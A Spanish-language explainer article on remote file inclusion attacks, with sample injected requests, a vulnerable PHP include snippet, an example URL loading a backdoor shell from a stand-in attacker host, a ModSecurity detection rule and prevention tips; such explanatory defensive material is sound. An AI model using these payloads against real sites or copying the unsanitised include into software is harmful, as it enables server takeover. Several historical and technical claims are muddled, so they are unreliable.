6 de agosto de 1991. ¿Le suena la fecha? No, no fue la caída de la Unión Soviética (aunque casi). Tim Berners-Lee lanzó la primera página web ese día de verano. Han pasado más de treinta años desde entonces y los sitios web han avanzado mucho, ¿verdad? Las páginas web se han vuelto más dinámicas, interactivas y sofisticadas que nunca. Pero un gran poder conlleva una gran responsabilidad y vulnerabilidad, y ahí es donde entran en juego los exploits de inclusión remota de archivos. ¿Qué es la inclusión remota de archivos (RFI)? Eso es lo que vamos a discutir aquí, así que abróchese el cinturón porque va a ser un viaje lleno de baches.
¿Qué es la inclusión remota de archivos (RFI)?
Utilizando la menor jerga técnica posible, la inclusión remota de archivos (RFI) es lo que ocurre cuando se insertan archivos de servidores web remotos en páginas web no relacionadas. Con los sitios web de hoy en día, se puede y, la mayoría de las veces, se hace a propósito. Normalmente, se incluyen archivos remotos para mostrar contenido de aplicaciones web remotas. Mientras la aplicación web incluya contenido externo de forma dinámica (archivos, scripts, lo que quieras), la inclusión de archivos remotos siempre es posible.
Y, en buenas manos, esta configuración puede hacer mucho bien, agilizando la comunicación entre páginas web remotas y aumentando la salida del contenido de la página del destinatario. En las manos equivocadas, sin embargo, la misma configuración puede conducir a un ataque de inclusión remota de archivos, y estos pueden ser críticos.
¿Cómo son posibles los ataques de inclusión remota de archivos?
El objetivo de los hackers es engañar a la función de referenciación de la aplicación web para que cargue malware (como backdoor shells) desde URL remotas dentro de diferentes dominios.
Cuando lo consiguen, un ataque de inclusión remota de archivos puede causar graves problemas. Robo de información confidencial, servidores comprometidos, ocupación completa de sitios web cuyo contenido puede ser modificado por los hackers… y la lista continúa.
Para que te hagas una idea, todo el proceso se parece un poco a esto:
- Utilizando un motor de búsqueda, los atacantes identifican las páginas web que incluyen/ejecutan componentes vulnerables. Aunque un poco menos común, los hackers también pueden utilizar escáneres para identificar estas páginas web.
- Aprovechando la vulnerabilidad de inclusión remota de archivos de las páginas, los atacantes cargan software malicioso en la aplicación web.
- Una vez instalado el malware, la aplicación/página queda comprometida. Los hackers pueden modificar, desfigurar o eliminar toda la página.
- A partir de ahí, los atacantes también pueden secuestrar el servidor. Utilizándolo como un bot DDoS, pueden comprometer múltiples sitios web.
- Los datos quedan expuestos. La información sensible (incluidas las contraseñas) está en juego.
¿Cuál es la diferencia entre RFI y LFI?
¿Ha oído hablar de los ataques de inclusión de archivos locales? Perfecto. ¿Está un poco confuso sobre la diferencia entre ataques de inclusión de archivos locales y remotos? No se preocupe, lo tenemos.
Verás, a diferencia de los ataques RFI, la variedad local son vectores que giran en torno a la carga de contenido malicioso a servidores a través de navegadores web. Debido a que son bastante parecidos, la gente a menudo hace referencia a estos dos vectores juntos cuando hablan de vulnerabilidades de inclusión de archivos.
Remoto o no, el ataque puede considerarse exitoso cuando los hackers consiguen cargar malware en los servidores objetivo. Donde los dos ataques se separan es en el medio. A diferencia de los ataques de inclusión de archivos remotos, los ataques LFI se basan en la explotación de funciones de carga de archivos locales inseguras.
Cuando son incapaces de validar la entrada controlada y suministrada por el usuario, los personajes maliciosos son capaces de cargar y ejecutar un exploit de travesía de ruta de directorio.
Con este método, los hackers pueden cargar malware en un sistema comprometido sin dar ningún rodeo virtual. Por otro lado, los autores del ataque de inclusión remota de archivos tienen que recuperarlo mediante una función de referenciación externa atemperada desde una ubicación remota.
¿Aún no dominas el tema? No pasa nada. Pongamos algunos ejemplos para ver cómo son estas vulnerabilidades en la naturaleza.
Ejemplos de inclusión remota de archivos
Una vez más, un ataque de inclusión remota de archivos es posible cuando los hackers insertan archivos de servidores web remotos en páginas web no relacionadas. ¿Cómo pueden hacerlo? Utilizando estos métodos (entre otros):
El caso del signo de interrogación final
Añadir un signo de interrogación al final de la carga útil RFI inyectada es una de las técnicas RFI más comunes y utilizadas. Tomando prestada una página del libro de inyecciones SQL, este método utiliza especificadores de comentario (-, ;- o #), colocándolos al final de la carga útil.
El movimiento tiene sentido porque la gente detrás del ataque RFI hace lo que el resto del código PHP (el que están infectando) se supone que debe hacer. Como ese es el caso, los caracteres “?” hacen que el sistema trate el código intacto como un parámetro para el código RFI inyectado. A partir de ahí, el código RFI “ignora” el código legítimo y ejecuta sólo el suyo. Un típico ataque de signo de interrogación al final del código se parece un poco a esto:
| 1 2 3 | GET//components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://www.miranda.gov.ve/desamiranda/libraries/export/cgi??? HTTP/1.0 |
La forma más eficaz (y directa) de detectar un ataque de este tipo es buscar “(ft|htt)ps?.*\?$”. Por poner un ejemplo:
| 1 2 3 | SecRule ARGS "(?:ft|htt)ps?.*\?+$" \ "phase:2,rev:'2.2.2',t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,status:501,msg:'Remote File Inclusion Attack',id:'950119',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.rfi_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}" |
El caso de los parámetros de solicitud
Tal vez la segunda técnica de ataque más favorecida entre los que disfrutan de la vulnerabilidad RFI es aquella en la que manipulan los parámetros de la petición, haciendo que hagan referencia a archivos maliciosos remotos. Para ilustrarlo, echa un vistazo al siguiente código:
| 1 2 3 | $incfile = $_REQUEST["file"]; include($incfile.".php"); |
En este caso, mientras la 1ª línea está ocupada extrayendo el valor del parámetro file de la siguiente petición HTTP, la 2ª línea hace que ese valor establezca dinámicamente el nombre del archivo. Debido a que el valor del parámetro de archivo no se desinfecta correctamente, los hackers pueden explotar este código y cargar archivos no autorizados.
Considere la siguiente cadena de URL: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_. Lo que vemos aquí es una referencia externa que añade un archivo backdoor almacenado en una ubicación remota (http://www.hacker.com/backdoor_shell.php.).
Una vez cargado en la aplicación, este pequeño backdoor hará que secuestrar la estructura subyacente del servidor y obtener acceso a la base de datos de la aplicación sea coser y cantar.
Una vez cargado en la aplicación, este backdoor puede utilizarse posteriormente para secuestrar el servidor subyacente o acceder a la base de datos de la aplicación.
Aunque existen innumerables puertas traseras, la mayoría de los atacantes RFI suelen utilizar la R57.
El caso del archivo PHP
Imagina, si quieres, un desarrollador que quisiera incluir un archivo local correspondiente a la página especificada utilizando un parámetro GET. Esa persona estaría trabajando con varios archivos PHP como contact.php, main.php y about.php. Como sabes, todos estos archivos aportan diferentes funcionalidades a la página web. Aún así, puede llamar a cada archivo utilizando la petición que se muestra a continuación y que envía al archivo index.php:
| 1 2 3 | https://example.com/index.php?page=contact.php |
En este caso, el desarrollador esperaría que sólo se incluyeran los archivos de esa carpeta. Sin embargo, es posible que los atacantes incluyan archivos de un directorio diferente (LFI) o de diferentes servidores web (RFI). Este es especialmente el caso cuando la aplicación web no tiene una lista blanca de archivos.
En realidad, cuando no se dispone de una lista blanca con los únicos archivos permitidos, los hackers pueden convertir fácilmente la ruta del archivo en la función include (o su equivalente en un lenguaje de programación diferente). Los atacantes también pueden incluir archivos locales pero, la mayoría de las veces, sólo cambiarían la ruta al archivo que se encuentra en el control controlado por el hacker.
Una vez ejecutado con éxito, los intrusos podrán escribir código malicioso dentro del archivo sin envenenar los registros ni inyectar código en el servidor web.
Ejemplos reales de RFI
A pesar de su simplicidad, el vector de ataque RFI ha sido capaz de causar graves estragos en numerosas ocasiones. Los siguientes son los mayores ejemplos:
La cruzada de LulzSec
La autodenominada comunidad de seguridad rara vez trata las vulnerabilidades de inclusión remota de archivos con el respeto que merecen. Y, claro, no es el ataque más sofisticado que existe. Sin embargo, puede tener, y a veces tiene, tremendas repercusiones.
El ataque RFI más conocido se llevó a cabo hace más de 10 años. A mediados de mayo de 2011, un grupo de hackers que se hacía llamar LulzSec identificó un punto débil en FOX.com e invadió el sitio web con bots RFI. Utilizando estos bots, consiguieron filtrar la información personal (perfiles y nombres) de 73.000 concursantes estadounidenses de X Factor. Tras este incidente, el mismo grupo ha sido capaz de plantar una noticia falsa en PBS, robando datos de nada menos que 24,6 millones de clientes de PlayStation Network de Sony.
El incidente de los Papeles de Panamá
Los Papeles de Panamá, sin duda uno de los incidentes de piratería informática más importantes y comentados de la última década, fueron una recopilación de 11,5 millones de registros de Mossack Fonseca. Filtrados al periodista alemán Bastian Obermayer en 2015, la noticia se hizo pública en abril de 2016. Debido a la magnitud de los datos filtrados, se recurrió al Consorcio Internacional de Periodistas de Investigación.
Por si no lo sabes, la importancia del incidente radica en que prácticamente innumerables personalidades públicas (pasadas y presentes) están implicadas en el escándalo. Al sacar a la luz los turbios negocios financieros de estos personajes (incluidos sus vínculos con paraísos fiscales, cárteles de la droga y terroristas), estos periódicos consiguieron agitar los ánimos. Algunas figuras públicas tuvieron que dimitir, otras mudarse, y algunas incluso fueron detenidas gracias a la filtración.
En resumen, este incidente fue masivo. Sólo hay una salvedad: no estamos seguros de que fuera un ataque de inclusión remota de archivos lo que asestó el golpe definitivo. Dado que el sitio web estaba alojado en un software obsoleto (y dado que los documentos se filtraron al público por partes), se desconoce el método de ataque real. Aun así, hay suficientes pruebas y razones para creer que el RFI fue uno de los vectores que hicieron que el sitio se viniera abajo.
Prevención y mitigación de RFI
Los ataques RFI pueden causar daños masivos. La buena noticia es que hay múltiples medidas de seguridad que puede tomar para prevenir y mitigar los ataques de inclusión remota de archivos. Además de escribir un código impecable que minimice las vulnerabilidades, estos son los pasos que cualquiera puede dar para prevenir los RFI:
- Saneamiento. Técnica mediante la cual se localizan y eliminan entradas de usuario posiblemente dañinas.
- Validación. Es cuando se prueba la entrada del usuario antes de incluirla o ejecutarla.
- Exploración de vulnerabilidades. Aquí se utiliza cualquier herramienta eficaz a su disposición (comercial o gratuita, siempre que funcione) para escanear la aplicación en busca de posibles amenazas RFI de forma regular.
- Lista blanca. Cree una lista blanca que mantendrá todos los tipos de archivos/textos verificados y seguros para usted. Todo lo que no hayas añadido a la lista blanca puede (y debe) ser ignorado.
- Lista negra. Identifique los atacantes y las URL dañinas que están disponibles públicamente y añádalos a la lista negra. También puede añadir aquellos que ya han intentado infiltrarse en su sitio web y/o servidor.
- Revisión del código. El cortafuegos de tu aplicación web debería tener una función de revisión de código. Actívala para que te ayude a encontrar cualquier vulnerabilidad en el código.
En conclusión
Los ataques de inclusión remota de archivos no figuran entre los vectores de ataque más sofisticados que existen. Y precisamente por eso pueden suponer una grave amenaza. Como uno no piensa que puede ser vulnerable hasta que es demasiado tarde, los RFI pueden pillarle fácilmente desprevenido y hacerle pagar. Dicho esto, siempre que no ignore las sugerencias anteriores y actúe con cautela, no tendrá problemas.
